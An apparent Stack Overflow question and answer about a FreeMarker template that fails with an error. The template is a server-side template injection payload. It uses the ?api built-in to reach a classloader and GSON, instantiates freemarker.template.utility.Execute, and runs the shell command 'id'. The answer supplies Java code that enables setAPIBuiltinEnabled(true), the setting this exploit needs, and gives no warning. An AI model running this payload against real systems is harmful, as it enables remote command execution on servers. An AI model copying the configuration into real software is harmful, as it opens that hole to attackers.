1

When i used template bellow i will get error. Please help me!

<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("id")}

enter image description here

haiclover
  • 41
  • 2
  • This would need to be a [mcve], including reproducible code snippets, build instructions and environment information - e.g. full version etc. Also: What are you trying to achieve? What's the underlying problem that you're trying to solve? There might be an easier way to do so. Doing classloading magic in Freemarker sounds wrong. Oh - and also: Please edit your question to contain the text where you're asking about text. Don't post text as images! – Olaf Kock Nov 14 '20 at 21:58

1 Answers1

1

The simplest java code using freemarker template to generate html can be: config.setAPIBuiltinEnabled(true); line is possibly you're looking for.

import freemarker.cache.ClassTemplateLoader;
import freemarker.core.Environment;
import freemarker.template.Configuration;
import freemarker.template.Template;
// ... other imports

private byte[] createHtmlContent() throws Exception {
    Map<String, Object> data = new HashMap<String, Object>();
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    Writer w = new OutputStreamWriter(baos, StandardCharsets.UTF_8);
    
    Configuration config = new Configuration();
    config.setAPIBuiltinEnabled(true);
    
    config.setTemplateLoader(new ClassTemplateLoader(getClass(), "/META-INF/resources/ftl/"));
    Template template = config.getTemplate("template.ftl");
    
    Environment env = template.createProcessingEnvironment(data, w);
    env.setOutputEncoding("UTF-8");
    env.process();
    
    return baos.toByteArray();
}
burhan
  • 11
  • 1
  • 3